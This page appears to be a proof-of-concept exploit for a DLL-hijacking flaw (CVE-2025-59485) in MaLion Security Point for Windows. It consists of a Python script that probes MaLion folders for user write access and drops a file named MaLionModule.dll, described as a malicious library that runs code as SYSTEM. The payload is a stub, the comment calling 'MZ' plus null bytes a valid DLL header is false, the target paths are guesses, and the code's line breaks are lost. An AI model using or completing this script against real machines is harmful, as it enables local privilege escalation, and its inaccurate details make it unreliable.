MaLion Security Point Windows版 Ver.5.3.4前默认权限漏洞导致DLL劫持

#!/usr/bin/env python3 # CVE-2025-59485 PoC - MaLion Security Point DLL Hijacking # This PoC demonstrates the permission issue that allows placing arbitrary files import os import shutil import time def check_vulnerable_path(base_path): """Check if the target path has insecure permissions""" test_file = os.path.join(base_path, "test_write_permission.txt") try: with open(test_file, 'w') as f: f.write("test") os.remove(test_file) return True except PermissionError: return False def create_malicious_dll(output_path): """ Generate a malicious DLL that will execute code with SYSTEM privileges This is a template - actual DLL would contain malicious payload """ dll_content = b'MZ' + b'\x00' * 50 # Minimal valid DLL header dll_path = os.path.join(output_path, "MaLionModule.dll") with open(dll_path, 'wb') as f: f.write(dll_content) print(f"[+] Malicious DLL created at: {dll_path}") return dll_path def main(): # Target paths that may have insecure permissions target_paths = [ r"C:\Program Files\MaLion\temp", r"C:\Program Files\MaLion\config", r"C:\ProgramData\MaLion\temp", r"C:\Users\Public\MaLion" ] print("[*] CVE-2025-59485 - MaLion Security Point DLL Hijacking") print("[*] Checking for vulnerable paths...") for path in target_paths: if os.path.exists(path): print(f"[+] Found MaLion directory: {path}") if check_vulnerable_path(path): print(f"[!] VULNERABLE: {path} is writable by current user") create_malicious_dll(path) else: print(f"[*] Path not writable: {path}") if __name__ == "__main__": main()